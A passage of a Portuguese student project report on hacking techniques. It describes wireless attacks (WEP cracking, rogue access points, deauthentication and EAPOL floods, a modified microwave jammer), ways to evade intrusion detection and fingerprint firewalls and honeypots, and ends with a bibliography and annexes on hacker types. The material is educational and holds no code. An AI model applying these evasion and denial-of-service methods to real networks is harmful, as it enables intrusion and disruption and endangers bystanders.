porque este mecanismo usa uma chave partilhada secreta para cifrar a comunicação,

mas esta chave ao fim de algumas horas volta ao valor inicial por esgotar todas as

combinações possíveis com o valor da chave (ou seja é necessário capturar uns milhões

de pacotes) ou pode ser usado o método desenvolvido pelo hacker chamado Korek e

que consiste em enviar informação para a rede e apesar de a resposta vir encriptada e o

atacante não conseguir decifrar a informação vai fazer com que seja criado muito trafico

de resposta o que faz com que seja possível descobrir a chave de encriptação num curto

espaço de tempo.

Quando se usa este mecanismo o MAC dos dispositivos que se encontram ligados pode

ser descoberto facilmente porque este protocolo não faz a encriptação do cabeçalho da

frame.

16.1.3 Sniffing

Um dos maiores problemas de uma rede wireless é a facilidade com que toda a

informação que passa na rede pode ser interceptada, para isto basta ter uma placa

wireless e coloca-la em modo promíscuo e ligar uma ferramenta de sniffing para redes

wireless e passa a ser possível ao atacante receber toda a informação que é transmitida

na rede.

Page 157: relatorio de projecto-Documentação teórica das técnicas de hacking

157

16.1.4 Man-in-the-middle

Um atacante pode passar a desempenhar o papel de AP numa comunicação se a vítima

tiver mantido as opções para ligar ao AP com o sinal mais forte, caso o atacante tenha

um melhor posicionado em relação a vítima que o verdadeiro, a vítima em vez de se

ligar ao verdadeiro vai ligar-se ao AP do atacante e este passa a servir de intermediário

para a comunicação e vai receber toda a informação. Caso o atacante não consiga usar

este método pode fazer o spoofing do IP ou MAC adresss do AP e configurar o seu

sistema como o verdadeiro para passar a desempenhar o papel deste.

16.1.5 Host Routing

Consiste em encontrar um sistema que se encontra ligado a uma rede wireless e ao

mesmo tempo se encontra ligado a uma rede por cabo. Quando esta situação ocorre o

atacante pode atacar esse sistema de forma a activar, caso ainda não se encontre activo

no sistema atacado, o IP forwarding, o que vai fazer com que o atacante consiga utilizar

o sistema atacado para aceder a rede por cabo.

16.1.6 Negação de serviço

Um atacante numa rede wireless, pode efectuar um ataque de negação de serviço a

apenas um dispositivo ou a toda rede.

Os vários tipos de ataque de negação de serviço que podem ser feitos são:

Se o atacante pretender atacar a rede pode inundar o AP com pacotes EAPOL a

pedir autenticação na rede. Este tipo de ataque vai fazer com que o sistema não

seja capaz de responder a quantidade de pedidos que chegam, o que vai fazer

com que clientes legítimos não sejam capazes de validar a sua ligação.

Se o atacante pretender que um determinado sistema se desligue da rede pode

enviar continuamente frames de terminação de ligação para este não se

conseguir manter ligado ao AP.

Se o objectivo for mandar a baixo toda a rede pode comprar um mecanismo

semelhante ao dispositivo que se encontra num microondas, ou utilizar um

microondas alterado, sem protecção, para enviar um sinal de onda capaz de

Page 158: relatorio de projecto-Documentação teórica das técnicas de hacking

158

inutilizar toda a rede, o problema deste ataque é que também é perigoso para as

pessoas que se encontram perto do dispositivo.

Se o atacante quiser destruir o AP tem de arranjar um equipamento que envie

ondas com uma potência muito elevada porque, o AP ao recebe-las avaria.

Page 159: relatorio de projecto-Documentação teórica das técnicas de hacking

159

17 Ferramentas de protecção e

detecção de ataques

17.1 Sistemas de detecção de ataques

Os sistemas de detecção de intrusos (IDS) tem como função monitorizar o tráfego na

rede, detectar tentativas de intrusão na rede, para aceder a dispositivos ou recurso, tomar

medidas quando acontece uma intrusão na rede e tem de avisar os responsáveis por esta.

O sistema IDS mais conhecido e usado actualmente é o Snort. Esta ferramenta pode ser

usada em todos os sistemas operativos e existem várias aplicações que fornecem uma

interface gráfica para esta ferramenta.

Imagem 85 – Screenshot da aplicação IDSCenter que fornece um interface

gráfico para o Snort.

Page 160: relatorio de projecto-Documentação teórica das técnicas de hacking

160

Um atacante para não ser detectado nem impedido de atacar uma rede por um sistema

IDS pode:

Sobrecarregar o sistema IDS com informação (Flooding). O objectivo de um

ataque desta natureza é de levar o sistema IDS a guardar o registo de muitos

ataques (de pouca importância) enquanto está a ser feito um ataque mais grave.

O objectivo de guardar muitos registos é de fazer com que o responsável pelo

sistema não se aperceba do ataque mais importante por causa da informação de

todos os ataques se encontrar misturada.

Enviar informação escondida para que o sistema IDS não detecte o ataque. Para

passar despercebido o atacante pode enviar, por exemplo, dados nos pacotes

TCP que tenham a flag SYN activa. Se o atacante fizer isto o sistema IDS vai

pensar que os pacotes são tráfego normal quando na verdade não o são.

Dividir a informação que se quer enviar para a vítima em vários pacotes. Este

tipo de técnica vai fazer com que a acção do atacante não seja detectada se o

sistema IDS não tiver a capacidade de reconstituir a mensagem completa. Esta

técnica é baseada na fragmentação de pacotes IP.

Existem várias ferramentas que permitem explorar as técnicas explicadas anteriormente,

como o Stich (efectua vários ataques em simultâneo), NIDSbench (divide a informação

a transmitir em vários pacotes), …

17.2 Firewalls

Uma firewall pode ser um dispositivo ou uma aplicação que serve para limitar e filtrar o

tráfego entre redes ou um dispositivo e a rede.

Page 161: relatorio de projecto-Documentação teórica das técnicas de hacking

161

Imagem 86 – Exemplo de colocação de uma firewall por hardware na rede.

O esquema acima mostra como pode ser colocada na rede uma firewall por hardware.

Esta é colocada junto da ligação á Internet para filtrar a informação que é transmitida

para esta e toda a informação que chega á rede.

As firewall’s por software costumam ser instaladas apenas nos computadores que se

encontram ligados á rede ou computadores que se encontram directamente ligados á

Internet.

Uma firewall tem como objectivo examinar, limitar e permitir ou rejeitar o tráfego. Uma

firewall pode cumprir a sua função de diferentes modos, pode basear-se apenas na

análise dos pacotes (tipo de protocolo, valor das flag’s, endereço de origem e de destino,

…), no estado das ligações (mantêm registo de todas as ligações activas e não permite

por exemplo um pacote TCP com a flag ACK se não existir registo da sessão). Se a

firewall for um servidor proxy pode ainda fazer inspecção do conteúdo de pacotes que

se destinem a aplicações para permitir ou negar a sua transmissão.

Um atacante para tentar obter informação sobre a firewall que está a ser usada numa

organização pode correr ferramentas como Hping, Firewalk,, traceroute, Telnet, etc.

para analisar a resposta da firewall e obter a versão, tipo e configuração desta. Depois

do atacante obter o máximo de informação sobre a firewall pode tentar aceder a rede de

várias maneiras, por exemplo: explorar uma vulnerabilidade que ainda não tenha sido

Page 162: relatorio de projecto-Documentação teórica das técnicas de hacking

162

corrigida nela, explorar uma falha na configuração das listas de controlo de tráfego

(ACL’s), etc.

17.3 Honeypots

Um Honeypot pode ser constituído por um computador que pareça pertencer á rede da

organização que o atacante pretende explorar ou pode ser uma rede de computadores

(neste caso chama-se honeynet). Um honeypot é um sistema que serve de engodo para o

atacante, ou seja, cria a ilusão que é um sistema real que o atacante pode explorar para

obter informação, usar para aceder a mais computadores da rede interna ou que pode

usar para atacar outro computador ou redes mas, se este estiver bem configurado não

permite ao atacante sair de dentro deste e monitoriza todas as operações do atacante

dentro deste.

O atacante antes de tentar invadir a rede pode executar ferramentas como, THC-Amap,

Nessus ou Send-safe Honeypot Hunter para saber se a rede que está a tentar invadir é

uma Honeynet ou se o computador que encontrou é um Honeypot. Se o atacante

encontrar um pode tentar verificar se existe alguma vulnerabilidade na versão instalada

ou se vai ficar preso se entrar nele e neste caso é obrigado a encontrar outra forma para

invadir o sistema.

Page 163: relatorio de projecto-Documentação teórica das técnicas de hacking

163

Imagem 87 – screenshot da aplicação Send-Safe Honeypot Hunter

A aplicação Send-Safe Honeypot Hunter é uma ferramenta que permite verificar a lista

de servidores proxy para garantir que o utilizador não se liga a um servidor falso ,

chamado de “Honeypot”, que tem como função analisar o trafico que se pretendia

transmitir pelo servidor.

Page 164: relatorio de projecto-Documentação teórica das técnicas de hacking

164

Imagem 88 – Este esquema mostra a criação de uma rede falsa (Honeynet) com

3 computadores.

O esquema acima mostra a criação de uma rede Honeynet que tem por objectivo

enganar um atacante que pretenda atacar o sistema. A rede criada serve para desviar a

atenção do atacante da rede real e poder monitorizar os passos do atacante para saber

que técnicas usaram para invadir o sistema para poder corrigir as falhas.

Page 165: relatorio de projecto-Documentação teórica das técnicas de hacking

165

18 Conclusão

18.1 Objectivos realizados

Como já foi dito anteriormente, o objectivo inicial do projecto era desenvolver uma

plataforma que simulasse ataques. Uma vez que não tínhamos conhecimentos nessa área

ficou definido que o objectivo deste trabalho seria investigação e estudo sobre a área.

A nível teórico recolhamos o máximo de informação possível em livros, sites, vídeos,

entre outros. A partir destes separamos os temas e apresentamos e detalhamos cada um

deles a nível teórico. A este nível consideramos que o relatório fornece uma boa

informação teórica para o próximo grupo estudar o funcionamento dos vários tipos de

ataques.

Infelizmente devido a falta de tempo roubado pelas disciplinas do segundo semestre,

não conseguimos inserir exemplos, imagens de explicação e printscreen’s do

funcionamento de aplicações na quantidade que desejávamos. De qualquer forma demos

exemplo de ferramentas que permitem efectuar cada um dos ataques e inserimos

printscreen’s de alguma delas.

18.2 Outros trabalhos realizados

Para completar o objectivo do projecto acrescentamos ao trabalho mais dados teóricos,

vídeos e apresentações.

È necessário compreender o contexto onde os ataques se inserem para posteriormente

perceber o funcionamento dos vários tipos de ataque. Portanto, acrescentamos um

capítulo com noções gerais necessárias para compreender os modelos de transmissão de

dados. Esta informação é importante para perceber o funcionamento de ataques como o

Denial of Service, o ARP Poisoning, etc. O a explicação sobre o registo do Windows é

importante pois é neste onde estão as referências para possíveis malwares instalados no

sistema. O capítulo sobre o funcionamento dos ponteiros de funções em C, é necessário

para a compreensão do capítulo sobre overflow.

Page 166: relatorio de projecto-Documentação teórica das técnicas de hacking

166

Juntamos vários vídeos e apresentações ao projecto. As aplicações recolhidas têm

explicações e tópicos importantes sobre ataques. Alguns vídeos existentes contêm

explicações sobre determinados tipo de ataques. Outros tem a explicação de utilização

de algumas ferramentas e a demonstração dos passos necessários para a execução de um

ataque.

18.3 Trabalho a desenvolver no futuro

No seguimento deste trabalho existem várias tarefas à desenvolver. Aquela que

consideramos ser a próxima tarefa a realizar é o da criação e configuração de uma rede

por cabo e uma rede wireless com alguns computadores ligados. Os computadores

colocados na rede devem possuir sistemas operativos diferentes e devem ter instalado as

aplicações que se costumam encontrar instaladas num servidor para que sejam

exploradas as suas vulnerabilidades.

Depois da rede e dos computadores se encontrarem configurados, deve ser efectuado

um backup de todas as configurações, para que seja possível recuperar rapidamente a

configuração de um dispositivo caso ocorra um erro muito grave ao testar alguma

ferramenta.

A etapa seguinte consiste em instalar as aplicações que foram entregues no DVD, para

que se perceba qual o funcionamento das aplicações de hacking que foram apresentadas

no decorrer do relatório.

No DVD encontram-se as instalações das plataformas de simulação da organização

Foundstone que devem ser instaladas para que se fique com uma noção de que tipo de

software se pretende desenvolver.

A tarefa final é desenvolver uma plataforma que simule o funcionamento das

ferramentas testadas. A plataforma a desenvolver deve apresentar uma interface que

simule a interface das aplicações usadas para efectuar ataques. Será necessário obrigar o

utilizador a efectuar os mesmos passos e inserir os mesmos dados que tem de inserir na

aplicação real e deve de apresentar os resultados que se obteriam se fosse usada a

ferramenta verdadeira.

Antes de iniciar o desenvolvimento da plataforma será necessário efectuar a escolha da

linguagem de programação a usar. Também deverá ser decidido se o objectivo é simular

Page 167: relatorio de projecto-Documentação teórica das técnicas de hacking

167

apenas a utilização de uma ferramenta para explorar uma única vulnerabilidade ou se é

pretendido simular a utilização de várias ferramentas.

A continuação deste projecto pode ser futuramente desenvolvido por mais de um grupo

e pode ser constantemente actualizado. Será necessário definir se o objectivo é criar

uma interface única onde vão sendo adicionados os módulos desenvolvido ou se para

cada um será criada uma aplicação independente. Cada módulo vai simular a utilização

de uma ferramenta e apresentará o resultado esperado da utilização desta.

A ferramenta a simular por cada módulo pode ser um exploit, uma aplicação que

funcione apenas por linha de comandos ou uma ferramenta com interface gráfica.

No futuro este documento deve também ser melhorado e completado.

Com a chegada do Windows Vista e de outras novidades poderão ser encontradas novas

formas para atacar sistemas ou redes. Caso isso acontece o documento deve ser

actualizado para se manter o mais completo possível. Devido á falta de tempo e material

o documento apresentado contem uma abordagem muito teórica e resumida dos

diferentes tipos de ataques, pelo que deve ser melhorado pelos grupos que decidirem

continuar o desenvolvimento deste trabalho.

18.4 Apreciação final

O tema abordado nesse trabalho foi muito interessante pois diz respeito a um assunto

que abrange várias áreas da informática como redes de computadores, segurança de

sistemas, história da informática, etc.

Este projecto levou a que nós adquiríssemos muitos conhecimentos.

Na nossa opinião, o maior entrave que existiu durante o desenvolvimento do trabalho

foi o facto de as disciplinas do segundo semestre ocuparem bastante tempo que deveria

ter sido usado no desenvolvimento do projecto. Outro inconveniente foi a falta de

material disponível para criarmos uma rede para simular vários ataques.

Page 168: relatorio de projecto-Documentação teórica das técnicas de hacking

168

19 Bibliografia Antrax, Apresentação - “NetBIOS hacking through Windows Made Easy”. Disponível

em <http://myweb.tiscali.co.uk/sadlife/hackingED2K.htm>

Beaver, Kevin - “Hacking for Dummies”, ISBN 076455784X, For Dummies, 1ª

edição, 2004

C. Foster, James - “Buffer Overflow Attacks: Detect, Exploit, Prevent”, ISBN

1932266674, Syngress Publishing, 1ª edição, 2005

Caramelo, Hugo – “50 Hacks para o Windows XP”, ISBN 9896150206, Centro

Atlântico, 2ª edição, 2006

Casad, Joe - “Sams Teach Yourself TCP/IP in 24 Hours, Third Edition”, ISBN

0672325659, Sams, 3ª edição, 2003

Departamento de Informática Universidade do Minho, Henrique Neves e Pedro

Monteiro, Apresentação: “Trabalho7: SSL/TLS”. Disponível em

<www.fe.up.pt/~jvv/Assuntos/Apresentacoes/TLS.ppt>

Fadia, Ankit - “The Ethical Hacking Guide to Corporate Security”, ISBN

9896150044, Centro Atlântico, 1ªedição, 2005

Garg, Manu - Apresentação: “Sniffing in a Switched Network”. Disponível em

<www.infosecwriters.com/ text_resources/pdf/arp_spoofing.pdf>

Gralla, Preston - “Certified Google™ Search and Tools in a Snap”, ISBN

0672328690, Sams, 1ª edição, 2006

Gregg, Michael - “Certified Ethical Hacker Exam Prep”, ISBN 0789735318, 1ªedição,

2006

Jacob, Antonio e Cardoso, Enne Caroline - Apresentação: “Hacking: As Duas Faces

Crime e Melhoria na Segurança da Informação”. Disponível em

<www.ibde.org.br/congresso/hacking_as_duas_faces.ppt>

Júnior, Ademar e Soares, Milton – Apresentação: “Um Sistema de Testes Para a

Detec Remota de Sniffers em Redes TCP/IP”. Disponível em

<sniffdet.sourceforge.net/ pt_BR/sniffers-ademar_milton-2002.pdf>

Long, Johnny - “Google Hacking for Penetration Testers”, ISBN 1931836361,

Syngress Publishing, 1ª edição, 2004

Madeira, Paulo – “Apontamentos da cadeira arquitectura de computadores”.

Disponível em <http://www.dei.estg.ipleiria.pt/ac>

Page 169: relatorio de projecto-Documentação teórica das técnicas de hacking

169

Mateti, Prabhaker – Apresentação: “Buffer overflow”. Disponível em

<http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/BufferOverflow/

bufferOverFlow.ppt>

McClure, Stuart; Scambray, Joel; Kurtz, George - “Hacking Exposed 5th Edition”,

ISBN 0072260815, McGraw-Hill Osborne Media, 5 edição, 2005

McClure, Stuart; Scambray, Joel; Kurtz, George - “Hacking Exposed 4th Edition”,

ISBN 0072227427, McGraw-Hill Osborne Media, 4 edição, 2003

McClure, Stuart; Shah, Saumil e Shah, Shreeraj - “Web hacking - attacks and

defense”, ISBN 0201761769, Addison-Wesley Professional, 1ª edição, 2002

Oliveira, Wilson – “Técnicas para hackers: soluções para segurança”, ISBN

9728426275, Centro Atlântico, 1ª edição, 2000

Orebaugh, Angela et al - “Ethereal Packet Sniffing”, ISBN 1932266828, Syngress

Publishing, 1ª edição, 2004

Pereira, António – “Apontamentos da cadeira de Redes de dados 1”. Disponível em

<http://www.dei.estg.ipleiria.pt/rd1/>

R. Mirza Ahmad, David et al - “Hack Proofing Your Network Second Edition”, ISBN

1928994709, Syngress Publishing, 2ª edição, 2002

Rabadão, Carlos – “Apontamentos da cadeira de Redes de dados 2”. Disponível em

<http://moodle.ued.ipleiria.pt/estg/>

Rabadão, Carlos – “Apontamentos da cadeira de Segurança da Informação”.

Disponível em <http://moodle.ued.ipleiria.pt/estg/>

Reis, Gustavo e Miragaia, Rolando – Apresentação: “Hacking”. Disponível em

<http://www.dei.estg.ipleiria.pt/eventos/csi2004/apresentacoes/Hackinga.pdf>

Ribeiro, Carlos. Apresentação: “Aplicações seguras”. Disponível em

<mega.ist.utl.pt/~ic-aas/ 2004/slides/teoricas/5-securecode.pdf>

Rocha, Gilberto; Neves, Henrique e Monteiro, Pedro. Apresentação: “SEG”.

Disponível em <marco.uminho.pt/disciplinas/CSI/Seg.pdf>

Scambray, Joel e Shema, Mike - “Hacking Exposed: Web Applications”, ISBN

007222438X, McGraw-Hill Osborne Media, 1ª edição, 2002

Schiffman, Mike; J. O’Donnell, Adam; Pollino, David e Bill Pennington -

“Hacker’s Challenge 2: Test your network security & forensic skills”, ISBN

0072226307, McGraw-Hill Osborne Media, 2ª edição, 2002

Page 170: relatorio de projecto-Documentação teórica das técnicas de hacking

170

Scut / Team teso - Apresentação: “Exploiting Format String Vulnerabilities”.

Disponível em <www.crhc.uiuc.edu/~grier/ projects/overflows/formatstring-

1.2.pdf>

Silva, Pedro Tavares; Carvalho, Hugo e Torres, Catarina Botelho – “Segurança

dos sistemas de informação”, ISBN 9728426666, Centro Atlântico, 1ªedição,

2003

Souto, Pedro – Apresentação: “Computadores em rede”. Disponível em

<paginas.fe.up.pt/~pfs/aulas/ssi2006/at/11proto.pdf>

Sites:

Apresentação: “Modelo OSI e TCP/IP”. Disponível em

ftp.bauru.unesp.br/Aix/tcpip/osi-tcpip.ppt

Documentação e ferramentas de Hacking. Disponível em

<http://www.foundstone.com/>

Documentação e ferramentas de Hacking. Disponível em <http://www.vulnwatch.org/>

Documentação e ferramentas de Hacking. Disponível em <http://www.jjtc.com/>

Documentação e ferramentas de Hacking. Disponível em

<http://www.unixgeeks.org/security/newbie/security/sniffer/sniffer.html>

Documentação e ferramentas de Hacking. Disponível em <http://news.netcraft.com/>

Documentação sobre Hacking. Disponível em <http://www.hackthissite.org/>

Documentação sobre Hacking. Disponível em <http://www.infosyssec.com/>

Documentação sobre Hacking. Disponível em <http://www.library.2ya.com/>

Documentação sobre Hacking. Disponível em <http://informationleak.net/>

Documentação sobre Hacking. Disponível em <http://www.milw0rm.com/>

Page 171: relatorio de projecto-Documentação teórica das técnicas de hacking

171

Documentação sobre Hacking. Disponível em <http://www.doxpara.com/>

Documentação sobre Hacking. Disponível em <http://www.elhacker.net/>

Documentação sobre Hacking, InfoSecurity TaskForce. Disponível em

<http://www.istf.com.br/>

Documentação sobre Hacking. Disponível em <http://www.invasao.com.br/>

Documentação sobre Hacking. Disponível em <http://www.criticalsecurity.net/>

Documentação sobre Hacking, BackTrack. Disponível em <http://www.remote-

exploit.org/index.php/Main_Page>

Documentação sobre Hacking. Disponível em <http://www.sysinternals.com/>

Documentação sobre Hacking. Disponível em <http://www.securityfocus.com/>

Documentação sobre Hacking. Disponível em <http://video.antichat.ru/>

Documentação sobre Hacking. Disponível em <http://www.sans.org/>

Documentação sobre Hacking. Disponível em

<http://www.professionalsecuritytesters.org/>

Documentação sobre Hacking. Disponível em <http://www.isecom.org/>

Documentação sobre Hacking. Disponível em <http://www.felinemenace.org/>

Documentação sobre Hacking. Disponível em <http://www.egocrew.de/>

Documentação sobre Hacking, conferencia de segurança. Disponível em

<http://2005.recon.cx/>

Page 172: relatorio de projecto-Documentação teórica das técnicas de hacking

172

Documentação sobre Hacking. Disponível em <http://www.securiteam.com/>

Documentação sobre Hacking. Disponível em <http://www.irongeek.com/>

Documentação sobre vulnerabilidades em redes wireless. Disponível em

<http://www.wirelessve.org/entries/exploits>

Documentação sobre Hacking. Disponível em <http://www.reverse-engineering.net/>

Documentação sobre Hacking. Disponível em <http://www.techexams.net/>

Documentação sobre Hacking. Disponível em <http://www.hackingspirits.com/>

Documentação sobre Hacking. Disponível em <http://packetstorm.ussrback.com/>

Base de dados de vulnerabilidades dos Estados Unidos. Disponível em

<http://nvd.nist.gov/>

Documentação sobre SQL Injection. Disponível em

<http://www.imperva.com/application_defense_center/white_papers/blind_sql_s

erver_injection.html/>

SecurityForest. Disponível em <http://www.securityforest.com>

Metasploit Project. Disponível em <http://www.metasploit.com/>

Wikipédia. Disponível em <http://wikipedia.org/>

Dicionário de acrónimos. Disponível em <http://www.acronymfinder.com/>

Dicionário de acrónimos. Disponível em <http://www.auditmypc.com/acronym.asp>

Page 173: relatorio de projecto-Documentação teórica das técnicas de hacking

173

Documentação e ferramentas de Hacking. Disponível em

<http://www.esquemadf.pop.com.br/>

Ferramentas para ataques. Disponível em <http://www.oxid.it>

Ferramenta IDS. Disponível em <http://www.snort.org/>

Documentação sobre hacking. Disponível em <http://www.liia.ipg.pt>

Documentação de Hacking. Disponível em <http://www.virushelp.org>

Documentação sobre hacking. Disponível em <http://cartilha.cert.br/>

Documentos sobre linguagem C. Disponível em <http://www.ronaldolima.eti.br/>

Documentação sobre vírus. Disponível em <http://vx.netlux.org/>

Documentação sobre Hacking. Disponível em <http://community.corest.com/>

Documentação sobre Hacking. Disponível em <http://www.pulhas.org>

Documentação sobre criptografia. Disponível em <http://www.pgpi.org>

Documentação sobre DNS spoofing. Disponível em <http://www.securesphere.net>

Documentação sobre DNS spoofing. Disponível em

<http://www.lurhq.com/cachepoisoning.html>

Page 174: relatorio de projecto-Documentação teórica das técnicas de hacking

174

20 Anexos

A. Tipos de Hackers

Existem diversas definições para o tipo de pessoas que são designadas de “Hacker”. As

definições variam consoante as capacidades individuais, os feitos e as motivações

usadas por cada indivíduo. As várias definições encontram-se descritas em seguida.

- Hacker:

Originalmente o termo Hacker era utilizado para indicar um especialista numa

determinada área. Com o passar do tempo o termo passou a ser usado para indicar uma

pessoa que possui uma grande capacidade de análise, assimilação, compreensão de

computadores e redes, o que lhe permite saber que nenhum sistema é completamente

livre de falhas. As suas capacidades faz com que se torne capaz de aceder a sistemas

alheios para aprender e encontrar mais pontos fracos, sem querer causar prejuízo do

sistema invadido ou querer receber benefícios económicos pelo que fez.

Segundo Kevin Mitnick (Expresso, 19/Novembro/2005) existem seis motivações que

influenciam o comportamento do Hacker: Dinheiro, entretenimento, ego, activismo,

aceitação num grupo e estatuto.

O uso do termo Hacker encontra-se largamente associado a Crackers que praticam

actividades criminosas, como invasão de computadores, furto de informações, defacing

(alteração) de sites, etc. Usando várias técnicas e tecnologias. Porém, essa associação

directa é criticada por vários grupos como a comunidade de software livre que utiliza o

termo para designar seus principais programadores, bem como os próprios especialistas

que não se identificam com a vertente obscura e criminosa. Assim, apesar de ambas

vertentes (criminosa e não criminosa) incluírem verdadeiros especialistas, surgiu a

necessidade de se fazer a distinção.

Outros termos utilizados na segurança da informação, para diferenciar os tipos de

hacker são:

a) White hat – (também conhecido Hacker ético) Hacker que utiliza os seus

conhecimentos na exploração e detecção de erros de concepção, dentro da lei. A atitude

Page 175: relatorio de projecto-Documentação teórica das técnicas de hacking

175

típica de um white hat assim que encontra falhas de segurança é a de entrar em contacto

com o responsável para comunicar o que descobriu.

b) Black hat - (também conhecido como cracker ou dark-side hacker) hacker

criminoso.

- Cracker:

a) Cracker é o termo usado para designar quem quebra a segurança de um sistema, de

forma ilegal ou sem ética e que permite o uso ilegal de sofware. Este termo foi criado

em 1985 pelos Hackers em defesa contra o uso jornalístico do termo Hacker.

Existem diferentes tipos de Crackers:

b) Cracker de sistemas: piratas que invadem computadores ligados em rede.

c)Cracker de programas: piratas que quebram as protecções de software cedidos a título

de demonstração para usá-los por tempo indeterminado, como se fossem cópias

legítimas.

d) Pessoas que desenvolvem vírus, worms e trojans: programadores que criam

programas pequenos, mas que causam prejuízo aos utilizadores que o possuem.

Piratas de programas: indivíduos que fazem copias ilegais de programas, desrespeitando

assim os direitos de autor.

e) Distribuidores de warez (Warez é a expressão usada para indicar software pirata):

webmasters que disponibilizam nas suas páginas software sem autorização dos

detentores de direitos de autor.

Motivações dos Crackers:

a) Curiosos: agem por curiosidade e para aprender novas técnicas. Não causam danos

materiais à vítima. Lêem os dados armazenados, mas não modificam nem apagam nada.

b) Pessoas que alteram paginas web: agem principalmente com o objectivo de serem

reconhecidos. Desejam tornar-se famosos no universo Cyberpunk e para isso alteram

site, num comportamento muito semelhante aos pintores de muros, deixam sempre

assinado os seus pseudónimos. Alguns deixam mensagens de conteúdo político, o que

não deve ser confundido com o ciber-terrorismo.

c) Vingança: funcionário ou ex-funcionário de alguma empresa que por qualquer

motivo resolve sabotá-la com objectivo claro de vingança. Geralmente trabalharam no

sector de informática da empresa o que facilita enormemente o seu trabalho porque

conhecem o sistema que pretendem atacar.

Page 176: relatorio de projecto-Documentação teórica das técnicas de hacking

176

d) Vândalos: agem pelo simples prazer de causar danos a vítima. Este dano pode

consistir em colocar o servidor offline ou destruir os dados armazenados.

e) Espiões: agem para adquirirem informações confidenciais armazenados no

computador da vítima. Os dados podem ter conteúdo comercial (uma fórmula de um

produto químico) ou político (e-mails entre consulados) ou militar (programas

militares).

f) Ciberterroristas: são terroristas digitais. As suas motivações são geralmente politicas.

g) Ladrões: têm objectivos financeiros claros e em regra atacam bancos com a

finalidade de desviar dinheiro para suas contas.

h) Estelionatários: também com objectivos financeiros, em geral, procuram adquirir

números de cartões de créditos armazenados em grandes sites comerciais.

- Phreaker:

É como é conhecida a pessoa especializada em telefones, e que tem como actividade

principal efectuar ligações gratuitas (tanto chamadas locais como interurbanas e

internacional), reprogramação de centrais telefónicas, instalação de escutas telefónicas,

etc.

O conhecimento de um Phreaker permite que este efectue um ataque sem ter de pagar o

acesso, esconder o seu acesso de modo a não ser possível rastrear a sua actividade e

ainda forjar o culpado da ligação fraudulenta de modo a fazer com que um inocente

receba a culpa.

- Guru:

O supra-sumo dos Hackers, uma vez que possui um grande conhecimento de

informática.

- Lammer:

Lammer é o nome atribuído aos grupos de pretendentes a Hackers ou Crackers

(geralmente das camadas etárias mais novas) que desenvolvem actividades relacionadas

com segurança da informação utilizando as ferramentas desenvolvidas por Hackers e

Crackers e que tentam aprender sobre hacking ou cracking.

Esta expressão é utilizada com fim pejorativo para indicar um indivíduo que se faz

passar por Hacker mas que não tem conhecimentos técnicos das ferramentas que utiliza

nem conhecimentos para desenvolver o seu próprio software.

Page 177: relatorio de projecto-Documentação teórica das técnicas de hacking

177

- Script kiddie:

Script Kid é o sinónimo moderno do antigo termo Lammer.

- Wannabe:

Termo que vem do inglês Want-to-be (quer ser), e geralmente é empregado para

classificar de forma pejorativa os aprendizes de técnicas de computadores que

demonstram uma atitude de especialista. Geralmente é usado para identificar

principiantes que aprenderam a usar uma receita para descobrir senhas ou invadir

sistemas e porque conseguiram entrar num sistema simples e ficam a pensar que

conseguem invadir qualquer sistema.

- Hacktivista:

É um Hacker que faz o defacement (deformação) de websites para chamar a atenção

para questões politicas ou causas sociais.

- Arackers:

Esses são os piores! São a maioria absoluta no sub mundo cibernético. Algo em torno

de 99,9%. Fingem ser os mais ousados e espertos utilizadores de computador, planeiam

ataques, fazem reuniões durante as madrugadas (ou pelo menos até a hora em que a mãe

mandar dormir), contam casos absurdamente fantasiosos, mas no final das contas vão

fazer download no site da Playboy ou jogar algum desses "killerware", resultando na

mais chata e engraçada espécie: a "odonto-hackers" – o hacker da boca para fora!

- Newbie:

Embora algumas pessoas digam que o termo vem do inglês "new boy" ("garoto novo",

no sentido de "novato"), o certo é que a origem de Newbie vem de New (novo) + Bio

(vida). Seria algo como "recém-nascido", ou, por contextualização, "recém-chegado".

O termo é amplamente utilizado na Internet, para designar pessoas recém-chegadas. O

termo é também usado, erroneamente, para designar uma pessoa sem experiência ou

com menos experiência do que quem chama.

O termo geralmente é considerado como um insulto, embora em muitos casos as

pessoas de mais experiência usem com o propósito de reforçar a sua inexperiência num

campo ou área específica.

Page 178: relatorio de projecto-Documentação teórica das técnicas de hacking

178

Em alguns contextos, como em jogos para múltiplos jogadores, os Newbies são

rejeitados pelos mais experientes. Newbies costumam fazer perguntas que parecem

extremamente simples a utilizadores experientes, ou rompem a ordem normal com a

falta de habilidades ou etiqueta em um certo tipo de tecnologia. Por exemplo, os

jogadores de jogos podem ignorar Newbies porque eles pensam que Newbies

atrapalharão uma experiência de grupo.

Uma pessoa pode ser muito experiente em um certo jogo, mas se migra para um que

nunca jogou, é considerado Newbie pelos que já jogam há algum tempo.

- Larva:

Esta designação é empregue para aqueles que estão quase a ser considerados Hackers.

Já consegue desenvolver as suas próprias técnicas para invadir sistemas, etc.

Um outro detalhe sobre os "pseudo-hackers" é que fazem questão de escrever de forma

absolutamente ilegível, trocam letras por caracteres especiais que, segundo eles, se

parecem. Por exemplo Lammers pode perfeitamente ser escrito Lamerz, Lammerz,

Lamah, etc.

Por incrível que pareça, a maioria das pessoas que acham que são Hackers, não são. E

uma minoria, que obviamente jura não ter nenhum envolvimento com o underground da

informática, são Hackers muito experientes mas raramente perigosos. Os Hackers

perigosos ficam entre estes dois grupos, pois são experientes mas gostam de aparecer, o

que dá a impressão de que são muitos.

Page 179: relatorio de projecto-Documentação teórica das técnicas de hacking

179

B. Hacker’s mais famosos

Adrian Lamo: Conhecido como “homeless hacker”, passou grande parte do seu tempo

a explorar falhas das redes de grandes instituições como Yahoo e Microsoft, foi

condenado a dois anos de prisão domiciliária por ter invadido o sistema do jornal “The

New York Times” em 2002.

Eric Corley: Considerado o líder dos Hackers, mais conhecido por “Emmanuel

Goldstein” devido a personagem do livro 1984 de George Orwell (personagem

misteriosa líder da oposição ao totalitarismo). Eric Corley é proprietário da empresa

“2600 Enterprises, Inc.”, que publica, desde 1984, a famosa revista “2600: The Hacker

Quarterly”.

Mark Abene: Também conhecido por “Phiber Optik” foi julgado e preso mais do que

uma vez, ainda menor de idade. Foi intitulado pela revista Time como o primeiro herói

underground da idade da informação e o robin dos bosques do ciberespaço.

Robert Tappan Morris: conhecido como o criador do “Morris Worm” em 1988, o

primeiro worm a circular na Internet.

John Draper: Também conhecido como “Captain Crunch”, Crunch ou Crunchman

introduziu o conceito de Phreaker, começou por utilizar um apito de plástico para

conseguir fazer telefonemas gratuitos e em seguida desenvolveu as chamadas “blue

